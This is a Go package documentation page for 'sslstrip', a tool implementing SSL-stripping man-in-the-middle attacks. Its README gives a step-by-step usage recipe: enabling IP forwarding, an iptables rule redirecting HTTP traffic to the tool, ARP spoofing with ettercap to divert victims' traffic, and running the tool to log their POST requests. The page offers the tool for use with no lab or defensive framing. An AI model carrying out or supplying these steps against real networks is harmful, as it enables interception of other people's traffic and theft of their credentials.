sslstrip

package module
v0.0.0-...-d3c1090 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 6, 2018 License: MIT Imports: 13 Imported by: 0

README

Sslstrip

This is a tool that implements Moxie Marlinspike's SSL stripping attacks, written in Go. Inspired by https://github.com/moxie0/sslstrip.

Requirements

The only requirment is Go. There are no further dependencies, only the standard library of the language. We have used Go version 1.9.2 but it should work fine with other versions as well. Please, open issue if you encounter a problem.

Installing

$ # clone the repo in your $GOPATH/src/sslstrip
$ cd $GOPATH/src/sslstrip/cli
$ go build main.go
$ ./main -h
Usage of ./main:
-filename string
  	the output log file or empty for stdout
-log-response
  	log responses
-port int
  	port to listen on (default 8000)
-post-only
  	log only POST requests

Usage

  1. Flip your machine into forwarding mode (as root):

$ echo "1" > /proc/sys/net/ipv4/ip_forward

  1. Setup iptables to intercept HTTP requests (as root):

$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>

  1. Run an arpspoof attack to redirect traffic to your machine. For example with ettercap

$ ettercap -q -T -M arp

  1. Run sslstrip with the command-line options you'd like (see above).

Contributing

If you want to contribute feel free to send a pull request.

Also, if you found a bug or some wrong information in these pages you can open an issue.

License

This program is provided under an MIT open source license, read the LICENSE file for details.

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func Start

func Start(p Params)

Types

type Params

type Params struct {
	Port        int
	Filename    string
	PostOnly    bool
	LogResponse bool
}

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL